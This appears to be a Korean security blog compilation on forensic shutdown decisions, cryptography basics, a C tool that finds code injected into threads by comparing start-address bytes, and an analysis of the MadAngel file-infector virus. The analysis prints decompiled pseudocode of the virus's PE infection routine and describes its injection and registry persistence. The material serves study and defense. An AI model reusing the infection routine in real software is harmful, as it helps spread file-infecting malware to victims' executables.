하지만 PC 를 강제 종료 해야할까? 라는 고민이 들 순간들에 대하여 몇 가지 언급해보자.

* 랜섬웨어에 의해 사용자 파일이 암호화 되고 있다.

* 어떠한 악성코드에 의해 PC 에 이상 증상(팝업 창 출력 등)이 연속적으로 나타나고 있다.


이러한 상황을 맞이한다면 어떻게 해야할까? 우선 필자가 위 상황에 놓인 경우 두 가지 행동으로 상황을 마무리 할 것이다. 첫째, 실행 중인 프로세스 목록을 확인하여 의심되는 프로세스를 종료한다. 하지만 의심되는 프로세스가 보이지 않고 종료했다하더라도 다시 실행되어 동작하는 경우를 가정하자. 그렇다면 둘째로 바로 PC 를 강제종료 시킬 것이다. 이렇게 하므로 악성코드의 동작을 저지할 수 있다.


대부분의 사용자는 이와 유사한 행동을 취할 것이라 생각한다. 하지만 개인이 아닌 기업의 입장에서 생각해보면 이는 큰 위험이 될 수 있다. 우선 운영 중인 서버에 악성코드가 나타났다고 생각해보자(참고로 서버를 잠시 종료해도 상관없다고 가정하자). 서버의 경우 하나의 개인이 아닌 기업이 가진 자산이다. 첫 번째 상황의 경우 랜섬웨어가 확실하다면 서버를 강제 종료해도 괜찮을 것이다. 하지만 두 번째 상황에 놓인 경우 역시 강제 종료하려 한다면 큰 리스크를 갖게 된다.

어떠한 악성코드인지 모르는 상황에서 섣불리 강제 종료해버린다면 그 증거들을 놓칠 수 있기 때문이다. 하지만 강제 종료하지 않는다면 서버 장치에서 어떠한 동작이 추가적으로 일어날지 모른다. 혹여나 악성코드에 대한 증거를 놓치면 그에 따른 치료 방향 또한 잡기 어려워지며, 이는 서버 장치 운영에 무리가 될 수 있다. 과연 어떠한 선택을 해야 할까.


사실 정답은 없다. 단지 어떠한 면을 우선으로 하느냐에 따라 강제종료 할 수도 있고, 하지 않을 수도 있다. 선택하는 사람의 몫인 것이다. 하지만 이러한 상황을 맞이하게 된다면 어떻게 행동해야 할지 한번 쯤 생각해보는 것도 나쁘지 않을까 생각한다.




참고자료

* OverClock, "Windows: The startup and shutdown process", http://www.overclock.net/t/1453560/windows-the-startup-and-shutdown-process

* faqs, "RFC 3227 - Guidelines for Evidence Collection and Archiving", http://www.faqs.org/rfcs/rfc3227.html#b

 개요

최근 끊임 없이 랜섬웨어로 인한 피해가 지속적으로 나타나며 랜섬웨어는 더 이상 악성코드와 관련 있는 사람들만의 관심사가 아니다. 랜섬웨어로 인한 피해를 일반 사용자뿐만 아니라 기업 등에서도 나타나고 있어 주의가 필요하다. 본 문서에서는 랜섬웨어를 이해하기 위한 기초 지식인 암호학에 대하여 개략적으로 다루고자 한다. 암호학에 대해 하나도 모르는 필자로서 쓴 글이기에 깊은 내용보다는 쉽게 이해하는 것을 목표로 할 것이다.

 

암호학

암호학은 정보를 보호하기 위한 언어학적 및 수학적 방법론을 다루는 학문으로 수학을 중심으로 컴퓨터, 통신 등 여러 학문 분야에서 공동으로 연구, 개발되고 있다. 암호학은 쉽게 평문 메시지를 변환하여 암호문을 만드는 암호화 과정과, 반대로 암호문을 다시 평문으로 변환하는 복호화 과정에 대한 연구이다. 암호학을 통해 제공하고자 하는 목표에는 다음과 같은 것이 있다.

기밀성

무결성

가용성

부인 봉쇄


대칭키

대칭키 암호 방식에서는 암호화에 사용되는 암호화키와 복호화에 사용되는 복호화키가 동일하다는 특징이 있다. 쉽게 아래 그림과 같이 A와 B가 서로 통신하는 상황에 대하여 알아보자. A는 자신이 가진 KEY 1로 평문을 암호문으로 암호화한다. 그리고 암호화된 내용을 B에게 전달하면, B는 A와 동일한 키(KEY 1)로 이를 평문으로 복호화한다. 쉽게 두 사람 모두 동일한 키를 가지고 있어야 한다. 만약 다른 키를 가지고 있을 경우에는 전혀 다른 내용으로 복호화가 진행될 것이다.

반대로 B가 A에게 보내는 경우에도 B가 자신의 키인 KEY 1로 암호화를 진행한 뒤, 암호문을 A에게 전송한다. A는 KEY 1로 복호화를 진행하여 올바른 평문을 얻을 수 있다.


[그림 1] 대칭키를 통한 A와 B의 통신

이러한 특징으로 인해 송신자와 수신자 이외에는 해당 키가 노출되지 않아야 한다. 만약 이 키가 노출될 경우 A, B가 아닌 제 3자가 암호문을 해독할 수 있게 된다. 이러한 의미에서 대칭키 암호화 방식은 '비밀키 암호(Secret-Key Cryptosystem)'이라고도 한다.

이 암호 방식은 알고리즘의 내부 구조가 간단한 치환과 조합으로 되어 있어 알고리즘을 쉽게 개발할 수 있고 컴퓨터 시스템에서 빠르게 동작한다. 이는 암호화 연산 속도를 보장해주어 효율적인 암호 시스템을 구축할 수 있도록 해준다.

하지만 위에서 언급하지 않은 문제점이 있다. 해당 통신 환경의 사용자가 더 많아지는 경우에는 각 키를 관리하기 어려워진다. 위의 예에서 두 사용자는 서로의 키를 공유하고 있어 원활한 통신이 이루어질 수 있었다. 사용자가 세 명인 경우에는 다음과 같은 그림으로 나타낼 수 있다.


[그림 2] 대칭키를 통한 A, B, C의 통신

전체적인 동작 과정은 그림 1에서와 같으며 단지 사용자가 세명으로 증가한 모습이다. 앞선 예에서는 A와 B가 통신하기 위해 키가 1개 필요하였다. 하지만 C가 추가된 시점에서 세 명 모두 하나의 키로만 통신을 할 경우 A와 B의 통신 내용을 C가 해독할 수 있게 된다. 반대로 B와 C가 통신하거나 A와 C가 통신한 경우에도 수신자와 송신자가 아닌 제 3자도 해당 키를 가지고 있기 때문에 해독이 된다. 이는 암호화의 의미가 흐려지는 상황이 되어버린다. 결국 각각의 암호화된 통신을 보장하기 위해서는 각각의 통신 경로 따른 키가 존재하여야 한다. 이 경우에는 키가 3개가 있어야 한다.

마지막으로 4명인 경우에 대하여 알아보자. 아래 그림과 같이 각각의 보장된 통신을 위해서는 총 개의 키가 존재하여야 한다. 결국 해당 환경에 존재하는 사용자의 수보다 많은 키가 존재하게 되는 것이다. 각 개인은 n-1개의 키를 관리해야하는 부담이 생기며, 주어진 환경에서의 키 개수는 n(n-1)/2이 된다. 이는 매우 큰 단점으로 작용한다.

[그림] 대칭키를 통한 A, B, C, D의 통신

이러한 단점에도 불구하고 빠른 속도와 효율성을 제공해주기 때문에 빠르게 처리해야 하거나 단순한 암호화 시스템에서는 아직도 사용되고 있다. 대표적인 암호 알고리즘은 다음과 같다.

DES (Data Encryption Standard)

AES (Advanced Encryption Standard)

SEED

HIGHT (High security and light weight)

 

비대칭키

비대칭키 암호화 방식은 공개키 암호라고도 한다. 이는 대칭키(비밀키) 암호와 달리 송신자와 수신자가 다른 키를 사용하여 암호화된 통신을 수행한다. 송신자는 수신자의 공개키에 해당하는 정보를 사용하여 데이터를 암호화하여 네트워크를 통해 전송한다. 수신자는 자신의 공개키에 해당하는 비밀키로 암호화된 데이터를 복호화하여 평문을 복원한다.

아래 그림과 같이 나타낼 수 있다. 각 개인은 서로 자신만의 고유한 두 가지 키를 갖는다. 하나는 공개키(그림에서의 P)이며, 다른 하나는 개인키(그림에서의 S)이다. 여기에 통신하고자 하는 대상의 공개키를 갖고 있어야 한다. 우선 A가 B에게 암호화된 메시지를 보내려는 경우 A는 자신이 보내고자 하는 내용을 B의 공개키로 암호화하여 전송한다. 자신의 공개키로 암호화된 내용을 받은 B는 자신의 개인키로 암호화된 내용을 복호화 한다.

반대로 B가 A에게 암호화된 메시지를 보내려 하는 경우 B는 A의 공개키로 암호화를 하여 전송한다. 자신의 공개키로 암호화된 내용을 받은 A는 이제 자신의 개인키로 암호화된 내용을 복호화 한다.


[그림] 비대칭키를 통한 A와 B의 통신

해당 환경에서 사용자의 수가 늘어난 경우를 살펴보자. 아래 그림은 총 3명의 사용자가 존재하고 있다. 이 경우 송신자는 수신자의 공개키(P)로 암호화를 진행한 뒤 암호문을 전송한다. 수신자의 입장에서는 자신의 공개키로 암호화가 되었으므로 자신이 가진 개인키(S)로 복호화를 진행할 수 있다. A가 B와 통신하고자 하는 경우 KEY B.P를 가지고 암호화를 진행 후 전송한다. B는 암호문을 자신의 B.S로 복호화를 진행한다.


[그림] 비대칭키를 통한 A, B, C의 통신

비대칭키 암호는 다른 유저와 키(개인키)를 공유하지 않고 공유키만을 공유하면 되기에 보다 안전한 통신이 가능해진다. 개인키만 안전하게 관리된다면 공개키에 대응되는 키를 가진 사람만이 복호화를 할 수 있는 특징을 지닌다. n명의 사용자로 구성된 네트워크를 고려하면 각 사용자는 공개키와 비밀키 두 개를 보유하고 있으므로 네트워크 전체적으로 2n개의 키가 요구된다. 그리고 각 유저는 2개의 키만 보유하고 있으면 된다.

수학적인 난제를 기반으로 설계되어 있고, 암호화나 복호화를 수행하기 위한 연산이 복잡하게 구성되어 있기 때문에 암호화에 대한 효율성은 대칭키에 비하여 높지 않다. 하지만 각 키 관리의 이점으로 인해 많은 곳에서 사용하고 있다. 대표적인 비대칭키 암호 알고리즘은다음과 같다.

RAS (Rivest, Shamir and Adleman)

EIGamal

ECC (Elliptic Curve Cryptosystem)

Digital Signature

 

참고

  • https://ko.wikipedia.org/wiki암호학
  • http://sostarzia.tistory.com/24
  • https://seed.kisa.or.kr/iwt/ko/intro/EgovCryptographic.do
  • https://seed.kisa.or.kr/iwt/ko/intro/EgovPublicKey.do


'Reversing > Theory' 카테고리의 다른 글

Atombombing 기법  (0) 2017.05.28
DoubleAgent 공격  (1) 2017.03.28
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08
WFP 무력화  (0) 2016.06.21

1.  Introdution

특정 악성코드 파일을 찾고자 할 때 우리가 사용할 수 있는 방법은 각 파일의 HASH 값을 비교한다거나 특정 바이너리가 그 파일에 포함되어 있는지 확인하는 등의 방법이 있다. 그렇다면 어떤 악성코드가 다른 정상적인 프로세스에 인젝션하여 동작하는 경우에는 어떻게 진단해야 할까? 파일로 존재하는 악성코드는 파일의 바이너리를 비교하여 쉽게 찾을 수가 있을 것이다. 하지만 파일의 형태가 아닌 프로세스로 메모리에 존재하는 경우는 위와 같은 방법으로 접근할 수 없을 것이다.

위 경우가 실제로 존재할까라고 생각할 수 있지만, 인젝션 방식을 사용하는 악성코드가 꽤 많이 존재한다. 물론 explorer.exe notepa.exe 와 같이 특정 프로세스에만 인젝션 한다면 상대적으로 처리가 쉬워질 것이다. 하지만 특정 프로세스가 아닌 임의의 프로세스에 인젝션 한다면 매우 번거로워질 것이다. 일반적인 사용자의 PC 에서 평소에 돌고 있는 프로세스의 수는 결코 적지 않을뿐더러 각 프로세스가 하나 이상의 스레드를 가진다는 점을 생각하면 문제는 더 복잡해진다. 따라서 이번 문서에서는 이러한 문제를 해결하기 위한 코드를 제작해보려 한다.


2. Body

이번 문서에서의 주 목적은 특정 코드를 가진 스레드를 찾는 것이다. 그러므로 파일을 탐색할 때 FindFirstFile FindNextFile API 를 사용하듯이 스레드를 탐색하는 API 를 사용할 것이다. 윈도우 환경에서 시스템의 스레드를 열거하는 가장 편리한 방법은 바로 ToolHelp 라이브러리를 사용하는 것이다. 해당 라이브러리는 프로세스, 스레드, 모듈 열거와 관련된 라이브러리로 가장 중요한 함수는 바로 CreateToolhelp32Snapshot API 이다. 이 함수는 호출 시점에 시스템 정보에 대한 스냅샷을 만들어주는 역할을 한다. 여기서 dwFlags TH32CS_SNAPTHREAD 를 전달하면 시스템에서 실행되고 있는 스레드 스냅샷을 생성할 수 있다

1
2
3
HANDLE WINAPI CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
BOOL WINAPI Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
BOOL WINAPI Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
cs

스냅샷 핸들을 통해 스레드 탐색을 시작할 수 있다. Thread32First Thread32Next API 의 인자를 보면 스냅샷 핸들과 THREADENTRY32 형태의 인자를 받는 것을 확인할 수 있다. 해당 구조체는 아래와 같은 구조를 가진다. 구조체에는 스레드 ID 와 스레드가 속한 프로세스의 ID 값까지 존재하고 있는 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
typedef struct tagTHREADENTRY32 {
    DWORD dwSize;
    DWORD cntUsage;
    DWORD th32ThreadID;
    DWORD th32OwnerProcessID;
    LONG  tpBasePri;
    LONG  tpDeltaPri;
    DWORD dwFlags;
} THREADENTRY32, *PTHREADENTRY32;
cs

지금까지의 과정을 코드로 나타내면 다음과 같다. 여기서 유의해야 할 점은 Thread32First API 를 호출하기 전에 THREADENTRY dwSize 를 초기화 해주어야 한다. 이를 초기화 해주지 않으면 Thread32First 함수는 실패하게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
THREADENTRY32 t32;
HANDLE hSnap;
 
/* Create a Snapshot Handle */
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE)
    return 0;
/* if you do not initialize THREADENTRY32.dwSize, Thread32First API fails */
t32.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnap, &t32))
{
    do
    { /* insert code what you want */
        …
    } while (Thread32Next(hSnap, &t32));
}
CloseHandle(hSnap);
 
cs

스레드의 목록과 스레드가 속한 프로세스의 ID 정보를 출력하는 프로그램을 구현할 수 있게 되었다. 하지만 우리는 특정 코드가 포함된 스레드를 찾는 것이 목표이므로 계속해서 알아보자. 다음으로 알아볼 것은 탐색한 스레드의 Start Address 이다. 일반적인 경우 Code Injection 을 수행할 때 VirtualAllocEx 를 통해 할당한 공간에 코드를 기록한 뒤, 이 할당된 공간의 주소를 스레드가 실행하도록 CreateRemoteThread 의 인자로 넘겨준다. 따라서 우리는 스레드의 시작 위치를 알아낸 후 그곳의 코드 및 바이너리를 비교하면 된다.

스레드의 시작 위치를 알아내기 위한 핵심 API Ntdll.dll NtQueryInformationThread 이다. API 는 특정 스레드에 대한 정보를 얻기 위한 API 로 두 번째 인자인 ThreadInformationClass ThreadQuerySetWin32StartAddress(0x9) 를 넘겨주면 세 번째 인자 ThreadInformation 에 스레드의 시작 주소를 반환해준다.

1
2
3
4
5
6
7
8
NTSTATUS WINAPI NtQueryInformationThread(
    _In_      HANDLE            ThreadHandle,
    _In_      THREADINFOCLASS  ThreadInformationClass,
    _Inout_   PVOID              ThreadInformation,
    _In_      ULONG             ThreadInformationLength,
    _Out_opt_ PULONG           ReturnLength
);
 
cs

Ntdll 의 함수를 사용하기 위해 LoadLibrary 를 통해 해당 모듈을 로드하고 GetProcAddress 를 통해 우리가 사용하고자 하는 NtQueryInformationThread 의 주소를 가지고 올 것이다. 다음과 같은 코드로 구성할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef NTSTATUS(WINAPI *NtQueryInfoThread)(HANDLE, ULONG, PVOID, ULONG, PULONG);
 
PVOID ThreadInfo;
ULONG ThreadInfoLength;
PULONG ReturnLength;
NtQueryInfoThread NtQueryInformationThread;
 
HMODULE hNtdll = LoadLibrary("ntdll.dll");
NtQueryInformationThread = (NtQueryInfoThread) GetProcAddress(hNtdll, "NtQueryInformationThread");
 
if (!NtQueryInformationThread)
    return FALSE;
 
/* if THREADINFOCALSS is a ThreadQurtySetWin32StartAddress, return start address of thread */
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, 0, tid);
NTSTATUS NtStat = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &ThreadInfo, sizeof(ThreadInfo), NULL);
 
return TRUE;
 
cs

이제 탐색한 스레드의 시작 주소를 알 수 있으니, 그곳에 있는 데이터를 읽어와 우리가 비교하고자 하는 데이터와 비교해볼 것이다. 이 부분은 오히려 쉽다. 아래 코드와 같이 OpenProcess 를 통해 스레드가 속한 프로세스의 핸들을 얻고 ReadProcessMemory 의 인자로 위에서 얻은 스레드 시작 주소를 넘겨주면 된다. 그리고 한 바이너리씩 비교하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
CHAR Buffer[0x100];
CHAR CmpCode[0x100= { '\x6A''\x00''\x68''\x00''\x20', ….};
DWORD NumberofByteRead;
HANDLE hProc = OpenProcess(PROCESS_VM_READ, 0, t32.th32OwnerProcessID);
ReadProcessMemory(hProc, EntryPoint, Buffer, 0x100&NumberofByteRead);
 
for (int i = 0; i < sizeof(CmpCode); i++)
{
    if ((BYTE) CmpCode[i] != (BYTE)Buffer[i])
    {
        return FALSE;
    }
}
return TRUE;
cs

이를 통해 프로그램을 제작한 뒤 테스트를 하기 위해 Reverse_L01.exe 란 프로그램을 선택하였다. 해당 프로그램은 아주 간단한 프로그램으로 본 코드가 0x67 정도밖에 되지 않는다.

이 코드를 기준 바이너리로 하여 각 스레드의 시작 주소에서 0x67 의 크기를 비교할 것이다. 테스트를 위해 해당 프로세스를 8개 실행하였다.

실행 결과 아래 그림과 같이 8개 모두 선별해낸 것을 확인할 수 있다.


3. Conclusion

다소 간단한 코드를 제작해보았다. 하지만 파일로 진단할 수 없는 악성코드의 경우 이 코드를 기반으로 진단 프로그램을 만들 수 있을 것이다. 그렇다면 진단만으로 무엇을 할 수 있을까? 사실 진단은 그에 따른 조치를 취하기 위한 이전 단계라 할 수 있다.

분석한 악성코드의 내용에 따라 해당 프로세스를 종료시키거나 특정 스레드만 걸러내어 ResumeThread 와 같은 API 를 사용하여 동작하지 않도록 할 수 있다. 이러한 추가적인 동작은 추후에 다루어 보자.

악성코드를 다루며 분석에만 집중하는 것도 중요하지만, 실제 기업이나 고객은 조치를 원할 것이다. 따라서 충분한 분석이 이루어졌다면 다른 샘플을 보는 것이 아니라, 진단이나 치료 코드를 제작해보는 것이 매우 큰 도움이 될 것이라 생각한다.


Reference

[+] Microsoft, MSDN API : https://msdn.microsoft.com/

[+] 괴짜 프로그래머의 일상사, “스레드 열거하기” : http://www.jiniya.net/wp/archives/7676

'Reversing > Theory' 카테고리의 다른 글

DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08
WFP 무력화  (0) 2016.06.21
DLL이란?  (4) 2016.05.29
메모리에서 특정 코드로 시작하는 스레드를 찾는 코드이다. 주로 코드 인젝션을 통해 다른 프로세스에 코드가 인젝션 되었는지 확인할 때 사용하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
 
#define ThreadQuerySetWin32StartAddress 9  
 
using namespace std;
typedef NTSTATUS(WINAPI *NtQueryInformationThreadT)(HANDLE ThreadHandle, ULONG ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength, PULONG ReturnLength);
 
BOOL GetThreadStartAddress(DWORD tid, PVOID *EntryPoint);
BOOL CompareBinary(CHAR Buffer[]);
 
int main()
{
    BOOL result;
    THREADENTRY32 t32;
    PVOID EntryPoint;
    HANDLE hProc;
    CHAR Buffer[0x100];
    DWORD NumberofByteRead;
    HANDLE hSnap;
 
    printf("\n[*] Memory Detection - Reverse_L01.exe\n");
 
    /* Create a Snapshot Handle */
    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE)
        return 0;
 
    /* if you don't initialize THREADENTRY32.dwSize, Thread32First API fails */
    t32.dwSize = sizeof(THREADENTRY32);
    if (Thread32First(hSnap, &t32))
    {
        do
        {
            result = GetThreadStartAddress(t32.th32ThreadID, &EntryPoint);
            if ((DWORD)EntryPoint == 0x1)
            {
                continue;
            }
            hProc = OpenProcess(PROCESS_VM_READ, 0, t32.th32OwnerProcessID);
            ReadProcessMemory(hProc, EntryPoint, Buffer, 0x100&NumberofByteRead);
 
            if (CompareBinary(Buffer))
            {
                printf("\t+ Detect It, Process ID : %d, Thread ID : %d, EntryPoint :0x%X\n", t32.th32OwnerProcessID, t32.th32ThreadID, EntryPoint);
            }
        } while (Thread32Next(hSnap, &t32));
    }
    CloseHandle(hSnap);
    
    return 0;
}
 
BOOL GetThreadStartAddress(DWORD tid, PVOID *EntryPoint)
{
    PVOID ThreadInfo;
    ULONG ThreadInfoLength;
    PULONG ReturnLength;
 
    HMODULE hNtdll = LoadLibrary("ntdll.dll");
    NtQueryInformationThreadT NtQueryInformationThread = (NtQueryInformationThreadT)GetProcAddress(hNtdll, "NtQueryInformationThread");
    
    if (!NtQueryInformationThread)
        return FALSE;
 
    /* if NtQueryInformationThread's THREADINFOCALSS is a ThreadQurtySetWin32StartAddress, return start address of thread */
    HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, 0, tid);
    NTSTATUS NtStat = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &ThreadInfo, sizeof(ThreadInfo), NULL);
    
    *EntryPoint = ThreadInfo;
    return TRUE;
}
 
BOOL CompareBinary(CHAR Buffer[])
{
    char CmpCode[0x67= { '\x6A''\x00''\x68''\x00''\x20''\x40''\x00''\x68''\x12''\x20''\x40''\x00',
        '\x6A''\x00''\xE8''\x4E''\x00''\x00''\x00''\x68''\x94''\x20''\x40''\x00''\xE8''\x38',
        '\x00''\x00''\x00''\x46''\x48''\xEB''\x00''\x46''\x46''\x48''\x3B''\xC6''\x74''\x15',
        '\x6A''\x00''\x68''\x35''\x20''\x40''\x00''\x68''\x3B''\x20''\x40''\x00''\x6A''\x00',
        '\xE8''\x26''\x00''\x00''\x00''\xEB''\x13''\x6A''\x00''\x68''\x5E''\x20''\x40''\x00',
        '\x68''\x64''\x20''\x40''\x00''\x6A''\x00''\xE8''\x11''\x00''\x00''\x00''\xE8''\x06',
        '\x00''\x00''\x00''\xFF''\x25''\x50''\x30''\x40''\x00''\xFF''\x25''\x54''\x30''\x40',
        '\x00''\xFF''\x25''\x5C''\x30''\x40''\x00' };
 
    for (int i = 0; i < sizeof(CmpCode); i++)
    {
        if ((BYTE)CmpCode[i] != (BYTE)Buffer[i])
        {
            return FALSE;
        }
    }
    return TRUE;
}
 
cs




MadAngel_분석보고서.pdf


1. 개요

악성코드는 여러 분류로 나누어 볼 수가 있다. 이 중 일반 사용자의 입장에서 악성코드라는 단어보다 친숙한 바이러스가 있다. 사실 필자도 보안을 공부하기 이전에는 악성코드라는 단어는 아예 들어보지 못했고, 대신 바이러스라는 단어로 모든 악성코드를 지칭했었다바이러스는 악성코드 분류의 한 종류로 스스로를 복제하여 악의적 목적을 수행하는 악성 소프트웨어(Wiki)’ 라는 의미를 가지고 있다. 컴퓨터 바이러스가 아닌 우리가 알고 있는 메르스(MERS)나 감기와 유사하다. 바이러스에 감염된 사람으로부터 다른 사람도 감염시키듯이, 컴퓨터 바이러스는 감염된 파일을 실행시키면 다른 파일을 감염시킨다.

컴퓨터 바이러스는 동작 방식에 따라 차이가 있겠지만, 일반적으로 악의적인 코드를 파일에 삽입하여 공격자가 지정한 악의적인 행동을 수행한 다음에서야 원래의 정상적인 동작을 수행하도록 한다. 그렇기에 일반 사용자의 입장에선 모든 파일이 잘 실행되기 때문에 모를 수도 있다. 하지만 이미 바이러스가 실행된 사용자 PC 는 대부분 속도가 현저히 저하 되거나, CPU 사용량이 크게 증가하는 등으로 사용자의 PC 사용을 방해한다이번에 분석하고자 하는 컴퓨터 바이러스는 ‘Mad Angel’ 로 해당 악성코드의 동작 방식과 감염 방식 등에 대하여 알아보자.


2. 분석 정보

해당 악성코드에 대한 정보는 아래와 같다. 분석 중 필자가 가진 샘플이 감염된 파일인 것을 알 수가 있었다. 대신 드롭되는 Serverx.exe 가 감염된 파일에 삽입된 부분의 코드와 유사한 코드라는 점과, 감염된 파일이 다른 파일을 감염시키는 동작을 수행하는 중 해당 프로세스를 강제로 종료하면 Serverx.exe 가 실행되어 감염을 재개하는 점으로 미루어보아 실질적으로 숙주와 같다는 것을 알 수 있었다.

아래 그림과 같이 sample.exe 를 실행시켰을 때 두 개의 ‘sample.exe’ 프로세스가 존재하고 있는 것을 확인할 수 있다. 이 중 부모 프로세스(PID:2540)가 악성 동작(파일 감염)을 수행하는 것이며, 자식 프로세스(PID:2548)는 감염된 파일의 원래 동작을 수행하는 것이다. 감염된 파일인 sample.exe 를 실행할 경우 바이러스에 의해 삽입된 악성 동작을 수행하는 부분에서 루프를 돌게 된다. 그러므로 MadAngel 은 파일이 원래의 동작을 수행하는 자식 프로세스를 생성한다.

감염 행위를 하고 있는 sample.exe 프로세스를 강제로 종료 시키면 아래 그림과 같이 Severx.exe 가 생성되는 것을 확인할 수 있다. 하지만 여기서 의문을 가져야할 점은 바로 “ctfmon.exe” 프로세스의 자식 프로세스로 생성되었다는 점이다.

ctfmon.exe 는 해당 샘플을 실행하기 이전부터 존재하고 있던 정상적인 프로세스이다. 그렇다면 어떻게 ctfmon.exe Serverx.exe 를 자식 프로세스로 가질 수 있을까? 이는 sample.exe 가 동작하면서 임의의 프로세스에 Code Injection 을 하기 때문이다. Injection 되는 코드는 감염 행위를 하고 있는 프로세스가 종료되면, Serverx.exe 를 다시 실행시킨다. 결국 Serverx.exe 프로세스를 종료 시켜도 다시 Serverx.exe 가 실행된다.

감염된 샘플과 Serverx.exe Serverx.exe 를 자동실행 레지스트리에 등록하여 PC 를 재부팅하여도 다시 감염을 실행하도록 한다.

 

3. 상세 분석

MadAngel 을 실행할 경우 아래와 같이 뮤텍스를 통해 이미 MadAngel 이 동작 중인지 확인한다. 뮤텍스의 이름이 “Angry Angel v3.0” 인 것을 알 수 있으며, 동작 중이라면 감염 동작을 수행하지 않고 파일 원래의 기능이 동작하도록 한다. 

만약 동작 중이지 않다면, 실행된 MadAngel WinExec API 를 통해 정상 동작을 수행하는 자기 자신을 실행한다. 실행된 또 다른 자기자신은 위와 마찬가지로 뮤텍스를 확인하고, 뮤텍스가 이미 존재하기 때문에 정상 동작을 수행하는 루틴으로 가게 된다.

악성코드는 System32 폴더에 Serverx.exe 라는 파일을 드롭한다. Serverx.exe MadAngel 의 핵심 코드가 들어있는 실행 파일로, 실질적으로 Serverx.exe 가 감염될 코드와 같다. 드롭 후 Serverx.exe 를 자동 실행 레지스트리에 등록하여 PC 가 종료되더라도 다시 부팅될 때 감염 동작을 수행하도록 한다.

아래와 같이 새로운 스레드를 생성한다. 생성된 스레드는 RegNotifyChangeKeyValue API 를 통해 위에서 등록한 레지스트리의 값이 삭제될때까지 기다린다. 만약 해당 값에 변화가 생기면 다시 레지스트리에 등록한다.

자신에게 스레드를 생성한 뒤 FindWindow 를 통해 임의의 윈도우를 탐색하고 해당 윈도우에 대한 프로세스 ID 를 가져온다. 그리고 OpenProcess API 를 통해 해당 프로세스의 핸들을 얻는다.

얻어온 프로세스 핸들에 대해 VirtualAllocEx 를 통해 메모리 공간을 할당해준다. 할당한 메모리 공간에 새로운 데이터를 기록을 해주는 것을 확인할 수 있다. 메모리에 데이터를 기록한 후 현재 프로세스의 ID 를 가져온다. 이는 현재 프로세스 ID CreateRemoteThread 를 통해 생성할 스레드의 인자로, 넘겨받은 프로세스 ID 가 종료되는지 확인하기 위함이다. CreateRemoteThread 를 통해 데이터를 기록한 메모리 공간을 실행하는 스레드를 생성해준다.

위의 동작을 수행한 뒤 파일 감염을 시작한다. 우선 FindFirstFile FindNextFile API 를 통해 각 폴더를 탐색한다. 그리고 폴더에 있는 파일의 이름에서 끝의 네 글자가 아래와 같이 “.exe” “.scr” 인지 확인한다. 이 두 확장자가 아닐 경우 감염시키지 않는다.

감염에 사용된 코드를 디컴파일 하면 아래와 같은 결과를 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
FileInfection()
{
    data = f.read(0x1000);
    pDos = &data;
    pNt = pDos + pDos.lfanew;    //pDos + 0x3c
    pSec = pNt + 0xf8;
    NumberofSection = pNt+6;
 
    for(int i=0; i<NumberofSection; i++)
        pSec += 0x28;     // Find a Last Section
    if(pNt.AddressofEntrypoint > pSec.RVA)
    {
        tmp = pNt.AddressofEntrypoint - pSec.RVA + pSec.PointertoRawData;
        SetFilePointer(hFile, tmp, FILE_BEGIN);
        ReadFile(hFile, Buffer:data-4, size:4);
    }
    pSec.Characteristics = pSec.Characteristics | 0xe0000000;
    
    FileEndPoint = SetFilePointer(hFile, 0, FILE_END);
    if(FileEndPoint == -1){ return; }
    
    pSec.SizeofRawData = FileEndPoint + 0x118f - pSec.PointertoRawData;
    if(pSec.SizeofRawData > pSec.VirtualSize)
    {
        dwOrigVirtualSize = pSec.VirtualSize;
        pSec.VirtualSize = pSec.SizeofRawData;
 
        calc = (pNt.SectionAlignment - 1);
    /* 이 크기만큼 SizeofImage 에 더함 */    
        pNt.SizeofImage += ((pSec.VirtualSize + calc) & NOT(calc)) - ((dwOrigVirtualSize + calc) & NOT(calc));
    }
 
    Orig.AddressofEntrypoint = pNt.AddressofEntrypoint;
    pNt.AddressofEntrypoint = pSec.RVA + FileEndPoint - pSec.PointertoRawData;
 
    MalCode[0x1B= Orig.AddressofEntrypoint + pNt.Imagebase;    /* Write a OEP */
    WriteFile(hFile, MalCode, size:0x118F);    /* Write a MalData to FileEndPoint */
    SetFilePointer(hFile, 0, FILE_BEGIN);
    WriteFIle(hFile, pDos, size:0x1000);    /* Write a new pe header */
}
cs

위와 같은 방식으로 파일이 감염되면 아래와 같은 구조를 띄게 된다. 기존의 AddressofEntrypointImageBase를 더한 값(EP) 가 덧붙여지는 악성 코드의 0x1b 지점에 기록되어, 감염 되기 이전의 AddressofEntrypoint 를 알 수 있다.

다음 표는 임의의 샘플의 감염 전 후 PE 구조 차이다.


4. 진단 및 치료

